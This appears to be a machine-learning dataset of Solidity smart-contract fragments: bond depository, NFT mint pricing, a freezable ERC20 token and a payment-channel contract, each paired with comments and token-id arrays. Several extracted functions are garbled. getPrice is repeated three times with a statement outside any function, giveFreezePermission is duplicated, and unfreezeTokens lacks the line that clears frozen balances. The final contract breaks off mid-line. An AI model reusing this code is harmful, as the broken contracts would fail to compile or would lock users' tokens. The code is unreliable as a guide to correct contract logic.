_amount uint * @param _maxPrice uint * @param _depositor address * @return uint */ function deposit(uint _amount, uint _maxPrice, address _depositor) external returns (uint) { require( _depositor != address(0), "Invalid address" ); decayDebt(); uint nativePrice = trueBondPrice(); require( _maxPrice >= nativePrice, "Slippage limit: more than max price" ); // slippage protection uint value = customTreasury.valueOfToken( address(principalToken), _amount ); uint payout; uint fee; if(feeInPayout) { (payout, fee) = payoutFor( value ); // payout to bonder is computed } else { (payout, fee) = payoutFor( _amount ); // payout to bonder is computed _amount = _amount.sub(fee); } require( payout >= 10 ** payoutToken.decimals() / 100, "Bond too small" ); // must be > 0.01 payout token ( underflow protection ) require( payout <= maxPayout(), "Bond too large"); // size protection because there is no slippage // total debt is increased totalDebt = totalDebt.add( value ); require( totalDebt <= terms.maxDebt, "Max capacity reached" ); // depositor info is stored bondInfo[ _depositor ] = Bond({ payout: bondInfo[ _depositor ].payout.add( payout ), vesting: terms.vestingTerm, lastBlock: block.number, truePricePaid: trueBondPrice() }); totalPrincipalBonded = totalPrincipalBonded.add(_amount); // total bonded increased totalPayoutGiven = totalPayoutGiven.add(payout); // total payout increased payoutSinceLastSubsidy = payoutSinceLastSubsidy.add( payout ); // subsidy counter increased principalToken.approve( address(customTreasury), _amount ); if(feeInPayout) { principalToken.safeTransferFrom( msg.sender, address(this), _amount ); customTreasury.deposit( address(principalToken), _amount, payout.add(fee) ); } else { principalToken.safeTransferFrom( msg.sender, address(this), _amount.add(fee) ); customTreasury.deposit( address(principalToken), _amount, payout ); } if ( fee != 0 ) { // fee is transferred to dao if(feeInPayout) { payoutToken.safeTransfer(olympusTreasury, fee); } else { principalToken.safeTransfer( olympusTreasury, fee ); } } // indexed events are emitted emit BondCreated( _amount, payout, block.number.add( terms.vestingTerm ) ); emit BondPriceChanged( _bondPrice(), debtRatio() ); adjust(); // control variable is adjusted return payout; } /** * @notice redeem bond for user * @return uint */ function redeem(address _depositor) external returns (uint) { Bond memory info = bondInfo[ _depositor ]; uint percentVested = percentVestedFor( _depositor ); // (blocks since last interaction / vesting term remaining) if ( percentVested >= 10000 ) { // if fully vested delete bondInfo[ _depositor ]; // delete user info emit BondRedeemed( _depositor, info.payout, 0 ); // emit bond data payoutToken.safeTransfer( _depositor, info.payout ); return info.payout; } else { // if unfinished // calculate payout vested uint payout = info.payout.mul( percentVested ).div( 10000 ); // store updated deposit info bondInfo[ _depositor ] = Bond({ payout: info.payout.sub( payout ), vesting: info.vesting.sub( block.number.sub( info.lastBlock ) ), lastBlock: block.number, truePricePaid: info.truePricePaid }); emit BondRedeemed( _depositor, payout, bondInfo[ _depositor ].payout ); payoutToken.safeTransfer( _depositor, payout ); return payout; } } /* ======== INTERNAL HELPER FUNCTIONS ======== */ /** * @notice makes incremental adjustment to control variable */ function adjust() internal { uint blockCanAdjust = adjustment.lastBlock.add( adjustment.buffer ); if( adjustment.rate != 0 && block.number >= blockCanAdjust ) { uint initial = terms.controlVariable; if ( adjustment.add ) { terms.controlVariable = terms.controlVariable.add( adjustment.rate ); if ( terms.controlVariable >= adjustment.target ) { adjustment.rate = 0; } } else { terms.controlVariable = terms.controlVariable.sub( adjustment.rate ); if ( terms.controlVariable <= adjustment.target ) { adjustment.rate = 0; } } adjustment.lastBlock = block.number; emit ControlVariableAdjustment( initial, terms.controlVariable, adjustment.rate, adjustment.add ); } } /** * @notice reduce total debt */ function decayDebt() internal { totalDebt = totalDebt.sub( debtDecay() ); lastDecay = block.number; } /** * @notice calculate current bond price and remove floor if above * @return price_ uint */ function _bondPrice() internal returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).div( 10 ** (uint256(payoutToken.decimals()).sub(5)) ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } else if ( terms.minimumPrice != 0 ) { terms.minimumPrice = 0; } } /* ======== VIEW FUNCTIONS ======== */ /** * @notice calculate current bond premium * @return price_ uint */ function bondPrice() public view returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).div( 10 ** (uint256(payoutToken.decimals()).sub(5)) ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } } /** * @notice calculate true bond price a user pays * @return price_ uint */ function trueBondPrice() public view returns ( uint price_ ) { price_ = bondPrice().add(bondPrice().mul( currentOlympusFee() ).div( 1e6 ) ); } /** * @notice determine maximum bond size * @return uint */ function maxPayout() public view returns ( uint ) { return payoutToken.totalSupply().mul( terms.maxPayout ).div( 100000 ); } /** * @notice calculate user's interest due for new bond, accounting for Olympus Fee. If fee is in payout then takes in the already calcualted value. If fee is in principal token than takes in the amount of principal being deposited and then calculautes the fee based on the amount of principal and not in terms of the payout token * @param _value uint * @return _payout uint * @return _fee uint */ function payoutFor( uint _value ) public view returns ( uint _payout, uint _fee) { if(feeInPayout) { uint total = FixedPoint.fraction( _value, bondPrice() ).decode112with18().div( 1e11 ); _fee = total.mul( currentOlympusFee() ).div( 1e6 ); _payout = total.sub(_fee); } else { _fee = _value.mul( currentOlympusFee() ).div( 1e6 ); _payout = FixedPoint.fraction( customTreasury.valueOfToken(address(principalToken), _value.sub(_fee)), bondPrice() ).decode112with18().div( 1e11 ); } } /** * @notice calculate current ratio of debt to payout token supply * @notice protocols using Olympus Pro should be careful when quickly adding large %s to total supply * @return debtRatio_ uint */ function debtRatio() public view returns ( uint debtRatio_ ) { debtRatio_ = FixedPoint.fraction( currentDebt().mul( 10 ** payoutToken.decimals() ), payoutToken.totalSupply() ).decode112with18().div( 1e18 ); } /** * @notice calculate debt factoring in decay * @return uint */ function currentDebt() public view returns ( uint ) { return totalDebt.sub( debtDecay() ); } /** * @notice amount to decay total debt by * @return decay_ uint */ function debtDecay() public view returns ( uint decay_ ) { uint blocksSinceLast = block.number.sub( lastDecay ); decay_ = totalDebt.mul( blocksSinceLast ).div( terms.vestingTerm ); if ( decay_ > totalDebt ) { decay_ = totalDebt; } } /** * @notice calculate how far into vesting a depositor is * @param _depositor address * @return percentVested_ uint */ function percentVestedFor( address _depositor ) public view returns ( uint percentVested_ ) { Bond memory bond = bondInfo[ _depositor ]; uint blocksSinceLast = block.number.sub( bond.lastBlock ); uint vesting = bond.vesting; if ( vesting > 0 ) { percentVested_ = blocksSinceLast.mul( 10000 ).div( vesting ); } else { percentVested_ = 0; } } /** * @notice calculate amount of payout token available for claim by depositor * @param _depositor address * @return pendingPayout_ uint */ function pendingPayoutFor( address _depositor ) external view returns ( uint pendingPayout_ ) { uint percentVested = percentVestedFor( _depositor ); uint payout = bondInfo[ _depositor ].payout; if ( percentVested >= 10000 ) { pendingPayout_ = payout; } else { pendingPayout_ = payout.mul( percentVested ).div( 10000 ); } } /** * @notice current fee Olympus takes of each bond * @return currentFee_ uint */ function currentOlympusFee() public view returns( uint currentFee_ ) { uint tierLength = feeTiers.length; for(uint i; i < tierLength; i++) { if(totalPrincipalBonded < feeTiers[i].tierCeilings || i == tierLength - 1 ) { return feeTiers[i].fees; } } } }
total value of outstanding bonds; used for pricing
uint public totalDebt;
33,369
[ 1, 4963, 460, 434, 20974, 15692, 31, 1399, 364, 31765, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 1071, 2078, 758, 23602, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x4D82EC530Ac3b7F9FEB890ba5DBA18c169cA1C1e/sources/BackToTheEthContract.sol
File: EarlyMintIncentive.sol Allows the contract to have the first x tokens minted for a wallet at a discount or zero fee that can be calculated on the fly.
abstract contract EarlyMintIncentive is Teams, ERC721A, ProviderFees { uint256 public PRICE = 0.002 ether; uint256 public EARLY_MINT_PRICE = 0 ether; uint256 public earlyMintOwnershipCap = 1; bool public usingEarlyMintIncentive = true; function enableEarlyMintIncentive() public onlyTeamOrOwner { usingEarlyMintIncentive = true; } function disableEarlyMintIncentive() public onlyTeamOrOwner { usingEarlyMintIncentive = false; } function setEarlyMintOwnershipCap(uint256 _newCap) public onlyTeamOrOwner { if(_newCap == 0) revert ValueCannotBeZero(); earlyMintOwnershipCap = _newCap; } function setEarlyIncentivePrice(uint256 _feeInWei) public onlyTeamOrOwner { EARLY_MINT_PRICE = _feeInWei; } function setPrice(uint256 _feeInWei) public onlyTeamOrOwner { PRICE = _feeInWei; } function getPrice(uint256 _count, address _to) public view returns (uint256) { if(_count == 0) revert ValueCannotBeZero(); if( usingEarlyMintIncentive == false || _numberMinted(_to) > earlyMintOwnershipCap ) { return (PRICE * _count) + PROVIDER_FEE; } uint256 endingTokenQty = _numberMinted(_to) + _count; if(endingTokenQty <= earlyMintOwnershipCap) { return (EARLY_MINT_PRICE * _count) + PROVIDER_FEE; } uint256 outsideIncentiveCount = endingTokenQty - earlyMintOwnershipCap; return (EARLY_MINT_PRICE * incentiveTokenCount) + (PRICE * outsideIncentiveCount) + PROVIDER_FEE; } function getPrice(uint256 _count, address _to) public view returns (uint256) { if(_count == 0) revert ValueCannotBeZero(); if( usingEarlyMintIncentive == false || _numberMinted(_to) > earlyMintOwnershipCap ) { return (PRICE * _count) + PROVIDER_FEE; } uint256 endingTokenQty = _numberMinted(_to) + _count; if(endingTokenQty <= earlyMintOwnershipCap) { return (EARLY_MINT_PRICE * _count) + PROVIDER_FEE; } uint256 outsideIncentiveCount = endingTokenQty - earlyMintOwnershipCap; return (EARLY_MINT_PRICE * incentiveTokenCount) + (PRICE * outsideIncentiveCount) + PROVIDER_FEE; } function getPrice(uint256 _count, address _to) public view returns (uint256) { if(_count == 0) revert ValueCannotBeZero(); if( usingEarlyMintIncentive == false || _numberMinted(_to) > earlyMintOwnershipCap ) { return (PRICE * _count) + PROVIDER_FEE; } uint256 endingTokenQty = _numberMinted(_to) + _count; if(endingTokenQty <= earlyMintOwnershipCap) { return (EARLY_MINT_PRICE * _count) + PROVIDER_FEE; } uint256 outsideIncentiveCount = endingTokenQty - earlyMintOwnershipCap; return (EARLY_MINT_PRICE * incentiveTokenCount) + (PRICE * outsideIncentiveCount) + PROVIDER_FEE; } uint256 incentiveTokenCount = earlyMintOwnershipCap - _numberMinted(_to); }
9,700,902
[ 1, 812, 30, 512, 20279, 49, 474, 382, 2998, 688, 18, 18281, 25619, 326, 6835, 358, 1240, 326, 1122, 619, 2430, 312, 474, 329, 364, 279, 9230, 622, 279, 12137, 578, 3634, 14036, 716, 848, 506, 8894, 603, 326, 21434, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 17801, 6835, 512, 20279, 49, 474, 382, 2998, 688, 353, 10434, 87, 16, 4232, 39, 27, 5340, 37, 16, 7561, 2954, 281, 288, 203, 225, 2254, 5034, 1071, 10365, 1441, 273, 374, 18, 24908, 225, 2437, 31, 203, 225, 2254, 5034, 1071, 512, 985, 7076, 67, 49, 3217, 67, 7698, 1441, 273, 374, 225, 2437, 31, 203, 225, 2254, 5034, 1071, 11646, 49, 474, 5460, 12565, 4664, 273, 404, 31, 203, 225, 1426, 1071, 1450, 41, 20279, 49, 474, 382, 2998, 688, 273, 638, 31, 203, 203, 225, 445, 4237, 41, 20279, 49, 474, 382, 2998, 688, 1435, 1071, 1338, 8689, 1162, 5541, 288, 203, 565, 1450, 41, 20279, 49, 474, 382, 2998, 688, 273, 638, 31, 203, 225, 289, 203, 203, 225, 445, 4056, 41, 20279, 49, 474, 382, 2998, 688, 1435, 1071, 1338, 8689, 1162, 5541, 288, 203, 565, 1450, 41, 20279, 49, 474, 382, 2998, 688, 273, 629, 31, 203, 225, 289, 203, 203, 225, 445, 444, 41, 20279, 49, 474, 5460, 12565, 4664, 12, 11890, 5034, 389, 2704, 4664, 13, 1071, 1338, 8689, 1162, 5541, 288, 203, 565, 309, 24899, 2704, 4664, 422, 374, 13, 15226, 1445, 4515, 1919, 7170, 5621, 203, 565, 11646, 49, 474, 5460, 12565, 4664, 273, 389, 2704, 4664, 31, 203, 225, 289, 203, 203, 225, 445, 444, 41, 20279, 382, 2998, 688, 5147, 12, 11890, 5034, 389, 21386, 382, 3218, 77, 13, 1071, 1338, 8689, 1162, 5541, 288, 203, 565, 512, 985, 7076, 67, 49, 3217, 67, 7698, 1441, 273, 389, 21386, 382, 3218, 77, 2 ]
/** *Submitted for verification at Etherscan.io on 2019-11-11 */ pragma solidity 0.5.12; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns(uint256) { uint256 result = a * b; assert(a == 0 || result / a == b); return result; } function div(uint256 a, uint256 b) internal pure returns(uint256) { uint256 result = a / b; return result; } function sub(uint256 a, uint256 b) internal pure returns(uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 result = a + b; assert(result >= a); return result; } } contract ERC20Basic { uint256 public totalSupply; event Transfer(address indexed from, address indexed to, uint256 value); function balanceOf(address who) public view returns(uint256); function transfer(address to, uint256 value) public returns(bool); } contract ERC20 is ERC20Basic { event Approval(address indexed owner, address indexed spender, uint256 value); function allowance(address owner, address spender) public view returns(uint256); function approve(address spender, uint256 value) public returns(bool); function transferFrom(address from, address to, uint256 value) public returns(bool); } contract BasicToken is ERC20Basic { using SafeMath for uint256; struct WalletData { uint256 tokensAmount; //Tokens amount on wallet uint256 freezedAmount; //Freezed tokens amount on wallet. bool canFreezeTokens; //Is wallet can freeze tokens or not. uint unfreezeDate; // Date when we can unfreeze tokens on wallet. } mapping(address => WalletData) wallets; function transfer(address _to, uint256 _value) public notSender(_to) returns(bool) { require(_to != address(0) && _value > 0 && wallets[msg.sender].tokensAmount >= _value && checkIfCanUseTokens(msg.sender, _value)); uint256 amount = wallets[msg.sender].tokensAmount.sub(_value); wallets[msg.sender].tokensAmount = amount; wallets[_to].tokensAmount = wallets[_to].tokensAmount.add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns(uint256 balance) { return wallets[_owner].tokensAmount; } // Check wallet on unfreeze tokens amount function checkIfCanUseTokens(address _owner, uint256 _amount) internal view returns(bool) { uint256 unfreezedAmount = wallets[_owner].tokensAmount.sub(wallets[_owner].freezedAmount); return _amount <= unfreezedAmount; } // Prevents user to send transaction on his own address modifier notSender(address _owner) { require(msg.sender != _owner); _; } } contract StandartToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) allowed; function approve(address _spender, uint256 _value) public returns(bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); if (allowed[msg.sender][_spender] == 0) { require(_value > 0); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } else { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } } function allowance(address _owner, address _spender) public view returns(uint256 remaining) { return allowed[_owner][_spender]; } function transferFrom(address _from, address _to, uint256 _value) public returns(bool) { require(_to != address(0) && _value > 0 && checkIfCanUseTokens(_from, _value) && _value <= wallets[_from].tokensAmount && _value <= allowed[_from][msg.sender]); wallets[_from].tokensAmount = wallets[_from].tokensAmount.sub(_value); wallets[_to].tokensAmount = wallets[_to].tokensAmount.add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } } contract Ownable { constructor() public { owner = msg.sender; } event TransferOwnership(address indexed _previousOwner, address indexed _newOwner); address public owner; function transferOwnership(address _newOwner) public returns(bool); modifier onlyOwner() { require(msg.sender == owner); _; } } contract FreezableToken is StandartToken, Ownable { event ChangeFreezePermission(address indexed _owner, bool _permission); event FreezeTokens(address indexed _owner, uint256 _freezeAmount); event UnfreezeTokens(address indexed _owner, uint256 _unfreezeAmount); // Give\deprive permission to a wallet for freeze tokens. function giveFreezePermission(address[] memory _owners, bool _permission) public onlyOwner returns(bool) { for (uint i = 0; i < _owners.length; i++) { wallets[_owners[i]].canFreezeTokens = _permission; emit ChangeFreezePermission(_owners[i], _permission); } return true; } function freezeAllowance(address _owner) public view returns(bool) { return wallets[_owner].canFreezeTokens; } // Freeze tokens on sender wallet if have permission. function freezeTokens(uint256 _amount, uint _unfreezeDate) public isFreezeAllowed returns(bool) { //We can freeze tokens only if there are no frozen tokens on the wallet. require(wallets[msg.sender].freezedAmount == 0 && wallets[msg.sender].tokensAmount >= _amount && _amount > 0); wallets[msg.sender].freezedAmount = _amount; wallets[msg.sender].unfreezeDate = _unfreezeDate; emit FreezeTokens(msg.sender, _amount); return true; } function showFreezedTokensAmount(address _owner) public view returns(uint256) { return wallets[_owner].freezedAmount; } function unfreezeTokens() public returns(bool) { require(wallets[msg.sender].freezedAmount > 0 && now >= wallets[msg.sender].unfreezeDate); emit UnfreezeTokens(msg.sender, wallets[msg.sender].freezedAmount); wallets[msg.sender].freezedAmount = 0; // Unfreeze all tokens. wallets[msg.sender].unfreezeDate = 0; return true; } //Show date in UNIX time format. function showTokensUnfreezeDate(address _owner) public view returns(uint) { //If wallet don't have freezed tokens - function will return 0. return wallets[_owner].unfreezeDate; } function getUnfreezedTokens(address _owner) internal view returns(uint256) { return wallets[_owner].tokensAmount.sub(wallets[_owner].freezedAmount); } modifier isFreezeAllowed() { require(freezeAllowance(msg.sender)); _; } } contract FlamengoDigitalCryptoCurrency is FreezableToken { event Burn(address indexed _from, uint256 _value); string constant public name = "(FDCC) Flamengo Digital Crypto Currency"; string constant public symbol = "(FDCC)"; uint constant public decimals = 18; uint256 constant public START_TOKENS = 70000000000 * 10 ** decimals; //65Mi start constructor() public { wallets[owner].tokensAmount = START_TOKENS; wallets[owner].canFreezeTokens = true; totalSupply = START_TOKENS; } function burn(uint256 value) public onlyOwner returns(bool) { require(checkIfCanUseTokens(owner, value) && wallets[owner].tokensAmount >= value); wallets[owner].tokensAmount = wallets[owner]. tokensAmount.sub(value); totalSupply = totalSupply.sub(value); emit Burn(owner, value); return true; } function transferOwnership(address _newOwner) public notSender(_newOwner) onlyOwner returns(bool) { require(_newOwner != address(0)); emit TransferOwnership(owner, _newOwner); owner = _newOwner; return true; } function() payable external { revert(); } }
Give\deprive permission to a wallet for freeze tokens.
contract FreezableToken is StandartToken, Ownable { event ChangeFreezePermission(address indexed _owner, bool _permission); event FreezeTokens(address indexed _owner, uint256 _freezeAmount); event UnfreezeTokens(address indexed _owner, uint256 _unfreezeAmount); function giveFreezePermission(address[] memory _owners, bool _permission) public onlyOwner returns(bool) { for (uint i = 0; i < _owners.length; i++) { wallets[_owners[i]].canFreezeTokens = _permission; emit ChangeFreezePermission(_owners[i], _permission); } return true; } function giveFreezePermission(address[] memory _owners, bool _permission) public onlyOwner returns(bool) { for (uint i = 0; i < _owners.length; i++) { wallets[_owners[i]].canFreezeTokens = _permission; emit ChangeFreezePermission(_owners[i], _permission); } return true; } function freezeAllowance(address _owner) public view returns(bool) { return wallets[_owner].canFreezeTokens; } function freezeTokens(uint256 _amount, uint _unfreezeDate) public isFreezeAllowed returns(bool) { require(wallets[msg.sender].freezedAmount == 0 && wallets[msg.sender].tokensAmount >= _amount && _amount > 0); wallets[msg.sender].freezedAmount = _amount; wallets[msg.sender].unfreezeDate = _unfreezeDate; emit FreezeTokens(msg.sender, _amount); return true; } function showFreezedTokensAmount(address _owner) public view returns(uint256) { return wallets[_owner].freezedAmount; } function unfreezeTokens() public returns(bool) { require(wallets[msg.sender].freezedAmount > 0 && now >= wallets[msg.sender].unfreezeDate); emit UnfreezeTokens(msg.sender, wallets[msg.sender].freezedAmount); wallets[msg.sender].unfreezeDate = 0; return true; } function showTokensUnfreezeDate(address _owner) public view returns(uint) { return wallets[_owner].unfreezeDate; } function getUnfreezedTokens(address _owner) internal view returns(uint256) { return wallets[_owner].tokensAmount.sub(wallets[_owner].freezedAmount); } modifier isFreezeAllowed() { require(freezeAllowance(msg.sender)); _; } }
1,047,654
[ 1, 43, 688, 64, 323, 683, 688, 4132, 358, 279, 9230, 364, 16684, 2430, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 15217, 94, 429, 1345, 353, 934, 464, 485, 1345, 16, 14223, 6914, 288, 203, 565, 871, 7576, 9194, 8489, 5041, 12, 2867, 8808, 389, 8443, 16, 1426, 389, 9827, 1769, 203, 565, 871, 15217, 8489, 5157, 12, 2867, 8808, 389, 8443, 16, 2254, 5034, 389, 29631, 6275, 1769, 203, 565, 871, 1351, 29631, 5157, 12, 2867, 8808, 389, 8443, 16, 2254, 5034, 389, 318, 29631, 6275, 1769, 203, 203, 565, 445, 8492, 9194, 8489, 5041, 12, 2867, 8526, 3778, 389, 995, 414, 16, 1426, 389, 9827, 13, 1071, 1338, 5541, 1135, 12, 6430, 13, 288, 203, 3639, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 389, 995, 414, 18, 2469, 31, 277, 27245, 288, 203, 5411, 17662, 2413, 63, 67, 995, 414, 63, 77, 65, 8009, 4169, 9194, 8489, 5157, 273, 389, 9827, 31, 203, 5411, 3626, 7576, 9194, 8489, 5041, 24899, 995, 414, 63, 77, 6487, 389, 9827, 1769, 203, 3639, 289, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 203, 565, 445, 8492, 9194, 8489, 5041, 12, 2867, 8526, 3778, 389, 995, 414, 16, 1426, 389, 9827, 13, 1071, 1338, 5541, 1135, 12, 6430, 13, 288, 203, 3639, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 389, 995, 414, 18, 2469, 31, 277, 27245, 288, 203, 5411, 17662, 2413, 63, 67, 995, 414, 63, 77, 65, 8009, 4169, 9194, 8489, 5157, 273, 389, 9827, 31, 203, 5411, 3626, 7576, 9194, 8489, 5041, 24899, 995, 414, 63, 77, 6487, 389, 9827, 1769, 203, 3639, 289, 203, 3639, 327, 638, 2 ]
pragma solidity ^0.4.25; contract DAPP { // User struct struct User { uint id; //user ID uint bal; //users's balance, not important string name; //username uint[] neighbours; //neighbours in PCN mapping (uint => uint) account; //balances in accounts } //State Variables uint[] public userIds; //list of registered users int[1001] public _path; //for debugging string public answer = ""; //for debugging mapping (uint => User) public users; //mapping from user ids to structs mapping (uint => bool) public visited; //for bfs //contract constructor constructor() public { _path[0] = -1; _path[1000] = 0; } //to check if a transaction was successfull function getSuccessfulTransactions() public view returns (int){ return _path[1000]; } //to register a User to PCN function registerUser(uint id, string memory uname) public { if(userExists(id)) { //if user ID is taken revert("User already registered"); } //add user to list userIds.push(id); //create a new struct instance for the user User memory user; user.id = id; user.bal = 0; user.name = uname; users[id] = user; //initialization visited[id] = false; } //to add an edges in the PCN function createAcc(uint id1, uint id2, uint balance) public { if(!userExists(id1) || !userExists(id2)){ //when one of the users don't exist revert("One of the users does not exist"); } //add the edge addNeighbour(id1, id2, balance/2); addNeighbour(id2, id1, balance/2); } //to close an existing account function closeAccount(uint id1, uint id2) public { if(!userExists(id1) || !userExists(id2)) { //one of the users does not exist revert("One of the users does not exist"); } if(!accountExists(id1, id2)){ //account does not exist revert("Account not open"); } uint i = 0; for(i=0; i < users[id1].neighbours.length; ++i) { if(users[id1].neighbours[i] == id2) break; } //Finally delete accounts from both user structs if(i < users[id1].neighbours.length && users[id1].neighbours[i] == id2){ users[id1].bal -= users[id1].account[id2]; delete users[id1].neighbours[i]; users[id1].neighbours.length --; }else{ revert("This should not happen"); } for(i=0; i < users[id2].neighbours.length; ++i) { if(users[id2].neighbours[i] == id1) break; } if(i < users[id2].neighbours.length && users[id2].neighbours[i] == id1){ users[id2].bal -= users[id2].account[id1]; delete users[id2].neighbours[i]; users[id2].neighbours.length --; }else{ revert("This should not happen"); } } //to send amount throught the PCN function sendAmount(uint from , uint to) public { uint amount = 1; //hardcoded as per problem statement uint[] memory pth = new uint[](userIds.length); //for storing the path uint[] memory Q = new 